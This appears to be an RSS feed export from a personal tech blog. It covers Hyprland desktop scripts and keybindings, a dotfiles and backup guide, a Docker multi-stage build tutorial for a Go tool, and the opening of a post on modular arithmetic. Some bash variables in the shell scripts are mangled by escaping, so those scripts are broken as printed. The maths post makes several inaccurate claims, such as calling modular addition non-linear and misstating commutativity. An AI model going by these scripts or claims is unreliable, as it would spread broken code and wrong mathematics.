<p>Edit <code>~/.config/hypr/hyprland.conf</code> to control volume levels via keyboard function keys.</p>
<pre><code class="language-ini">bindl = , XF86AudioPlay, exec, playerctl play-pause                                         # Pause audio/video
bindl = , XF86AudioMute, exec, wpctl set-mute @DEFAULT_AUDIO_SINK@ toggle                   # Mute audio
bindel = , XF86AudioLowerVolume, exec, wpctl set-volume @DEFAULT_AUDIO_SINK@ 10%-           # Decrease volume
bindel = , XF86AudioRaiseVolume, exec, wpctl set-volume -l 1.5 @DEFAULT_AUDIO_SINK@ 10%+    # Increase volume upto 150
</code></pre>
<h2>Take Screenshots</h2>
<p>For screenshots I use my own script <a href="https://github.com/FlareXes/hyprshot/">Hyprshot</a> available on GitHub.</p>
<p>Install</p>
<ul>
<li><p><code>slurp</code> to select a region for screenshot.</p>
</li>
<li><p><code>grim</code> a screenshot utility for Wayland.</p>
</li>
<li><p><code>satty</code> to edit/annotate screenshots.</p>
</li>
<li><p><code>wl-clipboard</code> to copy to clipboard.</p>
</li>
</ul>
<pre><code class="language-bash">sudo pacman -S slurp grim satty wl-clipboard
</code></pre>
<p>Create <a href="http://screenshot.sh"><code>hyprshot.sh</code></a> script under <code>~/.local/bin/hyprshot.sh</code></p>
<pre><code class="language-bash">#!/usr/bin/env bash
set -euo pipefail
#
# Notes:
#   - Press Esc to cancel selection.
#   - Output directory is fixed at: ~/Pictures/Screenshots 

SCREENSHOT_DIR="$HOME/Pictures/Screenshots"
DATE_FMT="%Y-%m-%d_%H-%M-%S"
FILE_PREFIX="screenshot"
OUTFILE="\(SCREENSHOT_DIR/\){FILE_PREFIX}-\((date +"\)DATE_FMT").png"

# Checking and installing dependencies
dependencies=("slurp" "grim" "satty" "wl-copy")
for dep in "${dependencies[@]}"; do
    command -v "\(dep" &amp;&gt; /dev/null || { echo "\)dep not found, please install it."; exit 1; }
done

# Ensure screenshot directory exists
mkdir -p "$SCREENSHOT_DIR"

# Kill slurp if already running
pkill -x slurp &amp;&amp; exit 0

# Capture screenshot
screenshot="$(slurp || true)"

# Cancel if user esc
[ -z "$screenshot" ] &amp;&amp; exit 0

# Take screenshot -&gt; open in satty -&gt; save file + copy to clipboard
grim -g "$screenshot" - | satty --filename - \
    --output-filename "$OUTFILE" \
    --early-exit \
    --actions-on-enter save-to-clipboard \
    --copy-command 'wl-copy'
</code></pre>
<p>Edit <code>~/.config/hypr/hyprland.conf</code> to add keybinding to take screenshot on <code>super + s</code>.</p>
<pre><code class="language-ini">bind = $mainMod, S, exec, ~/.local/bin/hyprshot.sh
</code></pre>
<p>You can also visit my GitHub to get the up-to date copy of <a href="https://github.com/FlareXes/hyprshot/">hyprshot</a>.</p>
<h2>Change Wallpaper from Command-line</h2>
<p>Install</p>
<ul>
<li><code>swww</code> to change wallpaper.</li>
</ul>
<pre><code class="language-bash">sudo pacman -S swww
</code></pre>
<p>Edit <code>~/.config/hypr/hyprland.conf</code> to autostart <code>swww-daemon</code> once user login.</p>
<pre><code class="language-bash">exec-once = swww-daemon
</code></pre>
<p>To change wallpaper run:</p>
<pre><code class="language-bash">swww img &lt;wallpaper_file.png&gt;
</code></pre>
<p>To change wallpaper with smooth transition run:</p>
<pre><code class="language-bash">swww img --transition-type random --transition-fps 60 &lt;wallpaper_file.png&gt;
</code></pre>
<h2>Color Picker</h2>
<p>Install</p>
<ul>
<li><p><code>hyprpicker</code>, color picker</p>
</li>
<li><p><code>wl-clipboard</code> to copy hex code to clipboard.</p>
</li>
</ul>
<p>Edit <code>~/.config/hypr/hyprland.conf</code> to add keybinding to launch color picker on <code>super + p</code>.</p>
<pre><code class="language-ini">bind = $mainMod, P, exec, hyprpicker --autocopy
</code></pre>
<p>That’s it.</p>
<p>Script to color picker in <strong>hex</strong>, <strong>rgb</strong>, <strong>hsl</strong>, <strong>hsv</strong>, <strong>cmyk</strong> format with selection/dmenu mode.</p>
<p>Save it under <code>~/.local/bin/</code> as <code>hyprpicker.sh</code></p>
<pre><code class="language-bash">#!/usr/bin/env bash

# Available formats
FORMATS="hex\nrgb\nhsl\nhsv\ncmyk"

# Show wofi menu
FORMAT=\((echo -e "\)FORMATS" | rofi -dmenu -p "Format")

# Exit if nothing selected
[ -z "$FORMAT" ] &amp;&amp; exit 0

# Run hyprpicker with selected format
hyprpicker -a -f "$FORMAT"
</code></pre>
<p>Edit <code>~/.config/hypr/hyprland.conf</code> to add keybinding to launch color picker on <code>super + shift + p</code>.</p>
<pre><code class="language-ini">bind = $mainMod SHIFT, P, exec, bash ~/.local/bin/hyprpicker.sh
</code></pre>
<h2>Quick and Easy</h2>
<h3>Screen Sharing</h3>
<pre><code class="language-bash">sudo pacman -S xdg-desktop-portal-hyprland
</code></pre>
<h3>Turn Off Laptop Display on Lid Close</h3>
<p>Edit <code>~/.config/hypr/hyprland.conf</code>.</p>
<pre><code class="language-ini">bindl = , switch:on:Lid Switch, exec, hyprctl dispatch dpms off
bindl = , switch:off:Lid Switch, exec, hyprctl dispatch dpms on
</code></pre>
<h3>GUI Authentication</h3>
<p><code>polkit-gnome</code> is a polkit authentication daemon. It is required for GUI applications to request elevated privileges.</p>
<pre><code class="language-bash">sudo pacman -S polkit-gnome
</code></pre>
<p>Edit <code>~/.config/hypr/hyprland.conf</code> to autostart <code>polkit-gnome</code> once user login.</p>
<pre><code class="language-ini">exec-once = /usr/lib/polkit-gnome/polkit-gnome-authentication-agent-1
</code></pre>
<h3><strong>Further Reading</strong></h3>
<ul>
<li><a href="https://flarexes.com/fix-missing-directories-and-external-drives-in-thunar-file-manager-on-hyprland">Fix Missing Directories &amp; External Drives in Thunar File Manager on Hyprland</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[How to Manage Dotfiles, Install Scripts, and Backups on Linux]]></title><description><![CDATA[I’ve got a habit of giving my Operating System a fresh start every six months. Crashed storage drives? Pfft, no sweat! I don't configure .zshrc, neovim, firewall neither do I know how to (joking 😎)? This confidence isn’t just blind luck. Seriously, ...]]></description><link>https://flarexes.com/how-to-manage-dotfiles-install-scripts-and-backups-on-linux</link><guid isPermaLink="true">https://flarexes.com/how-to-manage-dotfiles-install-scripts-and-backups-on-linux</guid><category><![CDATA[Linux]]></category><category><![CDATA[linux for beginners]]></category><category><![CDATA[Backup]]></category><category><![CDATA[Backup Strategy]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[automation]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Mon, 23 Dec 2024 23:30:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1734010424187/b7324682-ba74-4e67-8641-2bfcc0bd732e.gif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I’ve got a habit of giving my Operating System a fresh start every six months. Crashed storage drives? Pfft, no sweat! I don't configure <code>.zshrc</code>, <code>neovim</code>, <code>firewall</code> neither do I know how to (joking 😎)? This confidence isn’t just blind luck. Seriously, if you want to be a Linux wizard then <strong>managing Dotfiles, Installation Scripts, and Backups</strong> will be the first thing you gonna after reading this blog post. Dotfiles help you to set up your environment just the way you like it. Installation scripts for handling all the grunt of post-installation. And backups? They’re your insurance policy against digital disasters. Trust me, nail these, and you’ll wonder how you ever lived without them!</p>
<h1 id="heading-dotfiles">Dotfiles</h1>
<p>Installing a new OS is a breeze, but getting everything back to your preferred setup? That’s where time turns into a black hole. Spending hours, days, or even weeks configuring your system just to get everything back to where it was. I'm talking to you, window manager guys.</p>
<p>Dotfiles keeps your configuration settings intact, already tailored your <code>.zshrc</code> or <code>.bashrc</code> with those handy aliases. why start from scratch every time? With dotfiles, you simply copy and paste your saved settings and get back to work.</p>
<ol>
<li><p><strong>Create a Git Repository</strong>: This will be your dotfile storage vault.</p>
</li>
<li><p><strong>Copy All the Necessary Files</strong>: Move your important config files into the repository.</p>
</li>
<li><p><strong>Commit and Push to GitHub</strong>: To ensure your setup is safe, synced, and accessible from anywhere.</p>
</li>
</ol>
<p>But what files should you actually commit? And why bother pushing to GitHub? Let’s dive into that next!</p>
<h3 id="heading-what-files-to-commit">What files to commit?</h3>
<p>It's a tough question to answer because everyone’s setup is as unique and configured differently. But here’s a cheat sheet: check out your <code>$HOME</code> directory and think about the files you’re constantly tweaking. Here's some common once:</p>
<pre><code class="lang-plaintext">.bashrc
.bash_profile
.profile
.zshrc
.vimrc
.gitconfig
.gitignore
.ssh/
.config/
</code></pre>
<h3 id="heading-why-push-to-github">Why push to GitHub?</h3>
<p>It’s all about convenience, having your dotfiles on GitHub makes it easy to access them during a new installation, so you’re not scrambling to share or find files manually. Besides the fact that your GitHub profile will look cooler with those green squares 😉. And here’s a little pro tip: when committing, keep your files in the same directory structure as they are on your system as shown below. It’ll save you from the classic “where did I put that file?” conundrum.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734009561983/94fc537f-8d11-4944-b03f-fda130205924.png" alt /></p>
<h2 id="heading-managing-private-dotfiles">Managing Private Dotfiles</h2>
<p>It’s a pretty terrible idea to push sensitive files like <code>.ssh</code>, <code>.gnupg</code>, or API tokens hidden in your <code>.bashrc</code> to GitHub. It’s could be a disaster waiting to happen. Here are a few tricks:</p>
<ul>
<li><p><strong>Keep Them Offline</strong>: Store your secrets in a secure notes app like Obsidian.</p>
</li>
<li><p><strong>Encrypt and Upload</strong>: Use something like 7z, KeePassXC or VeraCrypt to encrypt before pushing them to GitHub.</p>
</li>
<li><p>Personally, I keep all my secret stuff offline. I’m also constantly double-checking my dotfiles to ensure no sensitive info is getting leaked.</p>
</li>
</ul>
<p>Now, you might’ve heard of <a target="_blank" href="https://www.gnu.org/software/stow/">GNU Stow</a>, a nifty tool for managing dotfiles. It’s pretty cool, but here’s the catch: if not used wisely it can expose your secrets. Sure, there are workarounds, but they’re hit or miss. So, I prefer to keep things a bit more low-key.</p>
<h1 id="heading-installation-script">Installation Script</h1>
<p>So, you’ve just installed your OS and now you’re stuck with chores, setting up everything—installing apps, creating users, enabling firewalls, and so on. And trying to remember every single piece of software you need? Forget it. That’s where installation scripts come in!</p>
<p>An installation script is basically your to-do list for everything that needs to be set up before you can truly start using your computer. These scripts are totally personal; some folks use them for basic stuff like disk partitions, while others tackle everything that needs to be done in post-installation. That’s why some people call them <em>setup scripts</em>.</p>
<p>Here’s how I roll with my bash setup script:</p>
<ul>
<li><p>Install packages from Arch repositories, Flatpak, Snap, and GitHub</p>
</li>
<li><p>Sets ZSH as the default shell</p>
</li>
<li><p>Adds the Blackarch Repository for those sweet hacking tools</p>
</li>
<li><p>Enables SystemD Services</p>
</li>
<li><p>Downloads and sets up dotfiles</p>
</li>
</ul>
<p>If you’re curious, check out my <a target="_blank" href="https://github.com/FlareXes/arch-hackset">Installation Script</a>: <a target="_blank" href="https://github.com/FlareXes/arch-hackset">https://github.com/FlareXes/arch-hackset</a></p>
<h1 id="heading-backup">Backup</h1>
<p>Let's talk about confidence, nothing beats the peace of mind that comes from knowing you can recover your system, even if it’s been <em>fried in oil</em>. Everyone’s got their own backup strategy, but let me walk you through mine. The golden rule? <em>“I Should Be Able To Retrieve My System Data Even If It’s Fried in Oil.”</em> But let’s start with the basics.</p>
<h2 id="heading-situations">Situations</h2>
<p><strong>What if your system crashes due to a misconfiguration or an OS update?</strong></p>
<ul>
<li><p><strong>Timeshift</strong> is your best friend. It takes snapshots of your system’s current state, so if something goes wrong, you can roll back to a previous state. It's similar to time machine on MacOS.</p>
</li>
<li><p>Timeshift offers two methods: <code>BTRFS</code> and <code>RSYNC</code>. Btrfs is incredibly fast but only works on Btrfs file systems, and if you’re using dual drives, backups must be on the same drive. That means if drive fails, your backups are toasts.</p>
</li>
<li><p>Rsync is slower and takes more time to back up, but it works with most Linux file systems and allows backups to a different drive. It’s a bit slower but more versatile.</p>
</li>
</ul>
<p><strong>What if your hard drive crashes?</strong></p>
<ul>
<li>Use <code>RSYNC</code>, <code>BORG</code>, or the UI version of Borg, <code>Pika Backup</code>, to backup to a second drive.</li>
</ul>
<p>Here’s a useful <code>RSYNC</code> command where <code>exclude.txt</code> specifies files to skip. This method copies files but doesn’t create snapshots like Timeshift, so reverting to the exact previous state is off the table.</p>
<pre><code class="lang-bash">rsync -azh --info=PROGRESS2 --delete --exclude-from=<span class="hljs-string">"exclude.txt"</span> <span class="hljs-string">"<span class="hljs-variable">$HOME</span>/"</span> <span class="hljs-string">"/media/Backup/<span class="hljs-subst">$(date +%F)</span>/"</span>
</code></pre>
<p><strong>What if your system gets fried in oil?</strong></p>
<ul>
<li>Easy-peasy, backup to a different machine, cloud storage, or an external drive using <code>RSYNC</code>, <code>BORG</code>, or <code>RClone</code>.</li>
</ul>
<p><strong>What if there’s a nuclear attack?</strong></p>
<ul>
<li><p>Are you alive?.... If so, stay that way. Comment below, and I’ll give you the next steps.</p>
</li>
<li><p><strong>Serious FlareXes From the Future</strong>: If your threat model includes apocalyptic scenarios, it’s time to ditch this casual blog post and look into serious disaster recovery plans from places like Synology, AWS and similar services.</p>
</li>
</ul>
<h3 id="heading-backup-schedule">Backup Schedule</h3>
<p>Here’s a quick backup guide to keep your data safe, tweak according to your needs.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Backup Frequency</td><td>Number of Backups</td><td>Tools</td><td>Where</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Daily</strong></td><td>2</td><td>Timeshift</td><td>Same Drive</td></tr>
<tr>
<td><strong>Daily</strong></td><td>1</td><td>Timeshift, RSync, Borg, etc</td><td>Secondary Drive</td></tr>
<tr>
<td><strong>Weekly</strong></td><td>1 or 2</td><td>Rclone, Rsync, etc</td><td>External Systems</td></tr>
</tbody>
</table>
</div><h1 id="heading-wrapping-it-up">Wrapping It Up</h1>
<p>There you have it! By implementing these practices, you’ll not only keep your Linux setup experience smooth and consistent but it'll also give you the peace of mind.</p>
<p>By managing dotfiles, you ensure that your environment is always just the way you like it, saving time and frustration. Installation scripts will handle the boring, repetitive setup tasks, so you can spend less time configuring and more time creating. And with a solid backup strategy, you’ll be ready for anything, from minor mishaps to major disasters.</p>
<p>So, Hope you liked it. I’ll see you later—till then, goodbye! 👋</p>
]]></content:encoded></item><item><title><![CDATA[Dockerize Your Go Application Using Multi-Stage Builds]]></title><description><![CDATA[If you’re containerizing your Go app and losing sleep over the image size even for a simple project. Then you’re probably overlooking Docker’s multi-stage builds feature. This technique lets you separ]]></description><link>https://flarexes.com/dockerize-your-go-application-using-multi-stage-builds</link><guid isPermaLink="true">https://flarexes.com/dockerize-your-go-application-using-multi-stage-builds</guid><category><![CDATA[Docker]]></category><category><![CDATA[Go Language]]></category><category><![CDATA[docker images]]></category><category><![CDATA[golang]]></category><category><![CDATA[GitHub]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Sun, 22 Dec 2024 23:30:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1734009249844/2909b6e1-61c0-4685-91a3-52bbeb5f0164.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you’re containerizing your Go app and losing sleep over the image size even for a simple project. Then you’re probably overlooking Docker’s multi-stage builds feature. This technique lets you separate the build environment from the production environment. In practice, you can use a larger GoLang image (which is around 800MB) for building your application, and then copy only the compiled binary and any necessary dependencies into a much smaller Alpine image (typically under 8MB). This not only reduces the final image size but also improves deployment speed and minimizes security vulnerabilities.</p>
<p>In this guide, I’ll walk you through the process of dockerizing <strong>GitBack</strong>, a handy command-line tool for backing up your GitHub repositories, gists, and wikis. First things first: clone the project from <a href="https://github.com/flarexes/gitback.git"><code>https://github.com/flarexes/gitback.git</code></a>. Once that’s done, make sure to get rid of any existing <code>Dockerfile</code>—we’re going to create a fresh one from scratch.</p>
<h2>Prerequisites</h2>
<ul>
<li><p>Docker Installed</p>
</li>
<li><p>Familiarity with Docker</p>
</li>
</ul>
<h2>First Stage: Build the GoLang Project</h2>
<p>We’ll start by creating a <code>Dockerfile</code> under the root directory of the project. This section will define the steps necessary to build your Go application inside the container.</p>
<pre><code class="language-dockerfile"># Use the official Go image as a base with the required version
FROM golang:1.23 AS builder

# Set the working directory inside the container
WORKDIR /app

# Copy the entire project into the working directory
COPY . .

# Download dependencies
RUN go mod download

# Build the Go application
RUN CGO_ENABLED=0 GOOS=linux go build -o gitback main.go
</code></pre>
<ul>
<li><p><strong>AS builder</strong>: Naming this build stage as "builder" so Docker knows where to look when we want to refer to it later.</p>
</li>
<li><p><strong>CGO_ENABLED=0</strong>: Disables the use of C libraries, resulting in a statically linked binary that’s portable and self-contained.</p>
</li>
<li><p><strong>GOOS=linux</strong>: Instruct the Go compiler to generate a binary that is compatible with Linux.</p>
</li>
</ul>
<h2>Second Stage: Ship the Compiled Binary</h2>
<p>After we've built the Go binary, the next step is to create a efficient base image that will run the compiled binary. We’ll keep it simple by copying only what we need from <code>builder</code> stage.</p>
<pre><code class="language-dockerfile"># Start a new stage from scratch
FROM alpine:3.17

# Install git, a dependency for GitBack to clone resources
RUN apk add --no-cache git

# Set the working directory for the final image
WORKDIR /root/

# Copy the binary from the builder stage
COPY --from=builder /app/gitback .

# Command to run the executable
ENTRYPOINT ["/root/gitback"]
</code></pre>
<ul>
<li><strong>COPY --from=builder</strong>: This is where the magic happens. We pull the compiled binary from the previous "builder" stage and drop it into our Alpine image. This is where we achieve the serious size reduction—shrinking the image by up to 100 times!</li>
</ul>
<h2>Final Stage: Combine First &amp; Second Stage to Build the Final Production Image</h2>
<pre><code class="language-dockerfile"># Use the official Go image as a base for building the Go application
FROM golang:1.23 AS builder

# Set the working directory inside the container
WORKDIR /app

# Copy only the Go modules to leverage caching in Docker
COPY go.mod go.sum ./

# Download dependencies
RUN go mod download

# Copy the rest of the project
COPY . .

# Build the Go application for a Linux OS with no CGo dependency
RUN CGO_ENABLED=0 GOOS=linux go build -o gitback main.go

# Start a new stage from scratch to reduce image size
FROM alpine:3.17

# Install git and other required dependencies
RUN apk add --no-cache git

# Set the working directory for the final image
WORKDIR /root/

# Copy the Go binary from the builder stage
COPY --from=builder /app/gitback .

# Define the entry point to run the binary
ENTRYPOINT ["/root/gitback"]
</code></pre>
<h3>Build the Image</h3>
<p>To create the Docker image, run:</p>
<pre><code class="language-bash">sudo docker build -t gitback:latest .
</code></pre>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732453041400/ac45c40c-12d0-40f0-a872-4ad7d74efb2c.png" alt="" />

<p>As you can see in the above picture, the final <code>gitback</code> image is significantly smaller than the original Go image. If you haven't pulled the <code>golang:1.23</code> image explicitly, you won't see it listed in the images after the build. Instead, you'll only see the <code>gitback:latest</code> image as the final result.</p>
<p>To verify that everything is functioning correctly, you can run:</p>
<pre><code class="language-bash">sudo docker run --rm -it gitback:latest --help
</code></pre>
<p>This should display the help output for GitBack, confirming that the setup was successful.</p>
<h1>Visual Walkthrough of the Process</h1>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732453028520/970d9de0-2818-4922-a5f6-d299dedc6880.gif" alt="" />]]></content:encoded></item><item><title><![CDATA[Modular Arithmetic in Cryptography]]></title><description><![CDATA[💡
Proceed with caution! Few people believe I’m not good at mathematics. Of course, I disagree. I’m really good at explaining and understanding math concepts; there's a reason why my first article was about math and crypto. Either way, I’m no expert ...]]></description><link>https://flarexes.com/modular-arithmetic-in-cryptography</link><guid isPermaLink="true">https://flarexes.com/modular-arithmetic-in-cryptography</guid><category><![CDATA[Cryptography]]></category><category><![CDATA[Mathematics]]></category><category><![CDATA[Arithmentc operators]]></category><category><![CDATA[encryption]]></category><category><![CDATA[Math]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Sat, 21 Dec 2024 23:30:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1734659076001/458959d6-9f83-40b2-b26d-51052fd35915.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><strong>Proceed with caution! </strong>Few people believe I’m not good at mathematics. Of course, I disagree. I’m really good at explaining and understanding math concepts; there's a reason why my first article was about math and crypto. Either way, I’m no expert in Mathematics or Cryptography. In any case, if you spot any mistake, let me know. I’ll learn and fix that. At the end, I'm a self-proclaimed mathematician with 6 backlogs in the same subject.</div>
</div>

<p>Modular Arithmetic is about <strong>Integers</strong>. Where things revolves around modules <strong>%</strong> and congruence <strong>≅</strong>. Congruence means two different entities having similar properties but they aren't same. It's important to note in cryptography their is no such thing like equality <strong>\=</strong> mostly everything is congruence <strong>≅</strong>, e.g. <strong>Equivalent Class</strong>.</p>
<h2 id="heading-why-should-i-study-modular-arithmetic">Why Should I Study Modular Arithmetic?</h2>
<ol>
<li><p>It's the foundation of almost every Cryptographic algorithms.</p>
</li>
<li><p>It is used to enhance the security of cryptographic systems, e.g. <em>Equivalent Class</em>.</p>
</li>
<li><p>Nothing is infinite in cryptography so to make things finite or in range we use Modular Arithmetic, e.g. <em>Rotation Cipher &amp; Finite Fields</em>.</p>
</li>
<li><p>Many cryptography algorithms and even programming languages uses Modular Arithmetic to perform calculations more efficiently.</p>
</li>
<li><p>You Have To Learn, Their is no way around:</p>
<ul>
<li><p>Security</p>
</li>
<li><p>Optimization</p>
</li>
<li><p>Mathematics</p>
</li>
<li><p>Marks: Actually No</p>
</li>
<li><p>Grades: Definitely No</p>
</li>
<li><p>Show off, you know math</p>
</li>
<li><p>etc, etc, etc</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-lets-get-the-basics-down">Let's Get The Basics Down</h2>
<p>If you're completely new to mathematics (unlike me) then you might be wondering what's the meaning of <em>congruence</em> or <em>modular arithmetic</em>? So, let's take them one-by-one.</p>
<h3 id="heading-modular-arithmetic">Modular Arithmetic</h3>
<h4 id="heading-arithmetic">Arithmetic</h4>
<p>Arithmetic is a branch of mathematics that deals with the study of numbers and the basic operations performed on them, such as addition, subtraction, multiplication, and division. Nothing Fancy.</p>
<h4 id="heading-modulo">Modulo</h4>
<p>The modulo operation (often denoted as <strong>"mod"</strong> or <strong>"%"</strong>) is just a remainder you get when one integer is divided by another.</p>
<p><strong>For example:</strong></p>
<ul>
<li>7 % 3 equals 1, because when 7 is divided by 3, the remainder is 1.</li>
</ul>
<h4 id="heading-so-modulo-arithmetic-modular-arithmetic">So, Modulo + Arithmetic = Modular Arithmetic</h4>
<p>Modular arithmetic is a system or mathematical framework or set of rules of arithmetic for integers where numbers <strong>"wrap around"</strong> upon reaching a certain value called the modulus. Ceaser Cipher heavy reply on this concept.</p>
<p>In modular arithmetic, instead of working with all integers, we work with a set of integers from <em>0 to n−1</em> (often denoted as <em>{0, 1, 2, …, n−1}</em>).</p>
<p><em>General Equation of Modular Arithmetic -&gt;</em> <strong><em>a = b (mod n)</em></strong>, where <em>b</em> will always be less than <em>n</em> hence meaning of <strong>wrap around</strong> in definition.</p>
<blockquote>
<h3 id="heading-eg-caesar-cipher-w-a-b-mod-n">e.g. <mark>Caesar Cipher /w a = b (mod n)</mark></h3>
<p>The Caesar cipher can be represented in modular arithmetic using the following general equation:</p>
<h4 id="heading-ex-x-k-mod-n"><em>E(x) = (x + k) mod n</em></h4>
<p>Where:</p>
<ul>
<li><p><strong><em>E(x)</em></strong> represents the encryption of the plaintext letter <em>x</em>.</p>
</li>
<li><p><strong><em>k</em></strong> is the key or the shift value.</p>
</li>
<li><p><strong><em>n</em></strong> is the size of the alphabet (for example, 26 for the English alphabet).</p>
</li>
<li><p><strong><em>mod</em></strong> denotes the modulo operation, which ensures that the result stays within the range of the alphabet.</p>
</li>
</ul>
</blockquote>
<p>Modular arithmetic has many applications in various fields including cryptography, computer science, and number theory. It's used extensively in encryption algorithms, hash functions, and in solving problems related to periodic phenomena like cycles and repetitions.</p>
<h3 id="heading-congruence">Congruence</h3>
<p>As mentioned earlier, Congruence is a mathematical concept that refers to the equality of two geometric figures or shapes in terms of size and shape. Two figures are considered congruent if they have the same shape and size, meaning that all corresponding angles are equal, and all corresponding sides are equal in length.</p>
<p>But In modular arithmetic, Congruence refers to the concept of two integers having the same remainder when divided by a specified modulus. Two integers <code>a</code> and <code>b</code> are said to be congruent modulo <code>m</code> if they leave the same remainder when divided by <code>m</code>.</p>
<p><strong>For example, in modulo 5 arithmetic:</strong></p>
<ul>
<li><p>14 ≅ 4 (mod 5) because both 14 and 4 leave a remainder of 4 when divided by 5.</p>
</li>
<li><p>23 ≅ 3 (mod 5) because both 23 and 3 leave a remainder of 3 when divided by 5.</p>
</li>
</ul>
<h4 id="heading-how-to-solve-modular-arithmetic-equations">How to solve modular arithmetic equations?</h4>
<p><strong>Modular Arithmetic:</strong> <strong><em>a = b (mod n)</em></strong></p>
<ul>
<li><p>Lets see for the above examples. In first equation we have: <strong>14 = 4 (mod 5)</strong>.</p>
<ol>
<li><p><strong>Divide 14 by 5</strong>: 14 ÷ 5 = 2 with a remainder of 4.</p>
</li>
<li><p><strong>Divide 4 by 5</strong>: 4 ÷ 5 = 0 with a remainder of 4.</p>
</li>
</ol>
</li>
</ul>
<p>    Since both 14 and 4 leave a remainder of 4 when divided by 5, we can conclude that <strong>14 ≅ 4 (mod 5)</strong>.</p>
<ul>
<li><p>Now let's see something which isn't <strong>≅ (congruent)</strong> like: <strong>9 = 2 (mod 4)</strong>.</p>
<ol>
<li><p><strong>Divide 9 by 4</strong>: 9 ÷ 4 = 2 with a remainder of 1.</p>
</li>
<li><p><strong>Divide 2 by 4</strong>: 2 ÷ 4 = 0 with a remainder of 2.</p>
</li>
</ol>
</li>
</ul>
<p>    Since the remainders are different when 9 and 2 are divided by 4, they are not congruent to modulo 4. Therefore, <strong>9 !≅ 2 (mod 4)</strong>.</p>
<p>So now by you might have got an idea of <strong>"what is and isn't congruent?"</strong></p>
<h4 id="heading-vs">\= vs ≅</h4>
<p>One mistake I deliberately made in Modular Arithmetic section was using <strong>\=</strong> in modular arithmetic. If I ask which equation is correct <strong>14 ≅ 4 (mod 5)</strong> or <strong>14 = 4 (mod 5)</strong>. Answer is both, lets understand it first.</p>
<p>In mathematics, both equations are true but not in cryptography. I mentioned it before in cryptography their is no such thing called <strong>\=</strong> majority is <strong>≅</strong>. And, I did it because by then you didn't know the meaning of congruence. So, From mathematical standpoint equation used in Modular Arithmetic section is true but from cryptography standpoint it's not.</p>
<p>Furthermore, you might be thinking then why did I use <strong>\=</strong> in Congruence section? Here we did know what does it mean to have congruence right? Hmm... Yes, But if you notice I only used <strong>\=</strong> before the solution of equation. How can you tell if a equation is or isn't equal without solving it. So, I started at <strong>\=</strong> like <em>14 = 4 (mod 5)</em> and concluded with <strong>≅</strong> like <strong>14 ≅ 4 (mod 5)</strong> after solving the equation.</p>
<p>Other way if you don't want to use <strong>\=</strong> you can go for <strong>?≅</strong>, which is this equation is congruent? I'm not saying, I'm asking.</p>
<p><strong>For example:</strong></p>
<ul>
<li><em>14 ?≅ 4 (mod 5)</em>, yes <em>14 ≅ 4 (mod 5)</em></li>
</ul>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">The real Modular Arithmetic equation in cryptography is: <strong>a ≅ b (mod m)</strong></div>
</div>

<h2 id="heading-basic-operations-amp-their-significance-in-modular-arithmetic">Basic Operations &amp; Their Significance In Modular Arithmetic</h2>
<h3 id="heading-1-modular-addition">1. Modular Addition</h3>
<p>In modular arithmetic, addition involves adding two numbers and then taking the remainder when divided by the modulus. Often denoted as <strong>a + b mod m</strong>.</p>
<ul>
<li><p>Let's consider an example: <em>(7 + 5) mod  3</em></p>
<ul>
<li>Here, <em>7 + 5 = 12</em>, and when divided by <em>3</em>, the remainder is <em>0</em>. Therefore, <em>(7 + 5) mod  3 = 0</em>.</li>
</ul>
</li>
<li><p>Let's consider one more example but this time in cryptographic way: <em>(5 + 9) ≅ ? (mod  7)</em></p>
<ol>
<li><p>Add the two numbers: <em>5 + 9 = 14</em>.</p>
</li>
<li><p>Divide the result by the modulus: <em>14 ÷ 7 = 2</em> with a remainder of <em>0</em>.</p>
</li>
<li><p>Result, <strong>5 + 9 ≅ 0 (mod 7)</strong>.</p>
<ul>
<li>This also satisfies our previous statement about congruency: <strong>Two integers</strong> <code>a</code> and <code>b</code> are said to be congruent modulo <code>m</code> if they leave the same remainder when divided by <code>m</code>.</li>
</ul>
</li>
</ol>
</li>
</ul>
<h4 id="heading-properties">Properties</h4>
<ul>
<li><p><strong>Commutative Property</strong>: a + b ≅ b + a (mod m) This property states that the order of addition doesn't matter in modular arithmetic. The sum of <code>a</code> and <code>b</code> modulo <code>m</code> is the same as the sum of <code>b</code> and <code>a</code> modulo <code>m</code>. This can also be expressed as: <em>a ≅ b (mod m) ⟹ b ≅ a (mod m)</em>.</p>
</li>
<li><p><strong>Associative Property</strong>: (a +b) + c ≅ a + (b + c) (mod m) This property states that the grouping of numbers being added doesn't affect the result in modular arithmetic. The sum of <code>a</code>, <code>b</code>, and <code>c</code> modulo <code>m</code> is the same regardless of how the addition is grouped.</p>
</li>
<li><p><strong>Closed under Addition</strong>: This property states that if you add two numbers within this modulus, the result will still be within that modulus. For example:</p>
<ul>
<li><p>(2 + 3) mod 5 = 0</p>
</li>
<li><p>(4 + 4) mod  5 = 3</p>
</li>
</ul>
</li>
</ul>
<p>    In both cases, the result is within the range of 0 to 4, which is the modulus 5.</p>
<h4 id="heading-significance">Significance</h4>
<ul>
<li><p><strong>Non-linearity</strong>: Modular addition is a non-linear operation, which is important in cryptographic algorithms to prevent various attacks.</p>
</li>
<li><p><strong>Compatibility with Modular Arithmetic</strong>: Modular addition fits well with modular arithmetic, which is often used in cryptography due to its computational properties and the ability to work with finite sets of numbers.</p>
</li>
</ul>
<h3 id="heading-2-modular-subtraction">2. Modular Subtraction</h3>
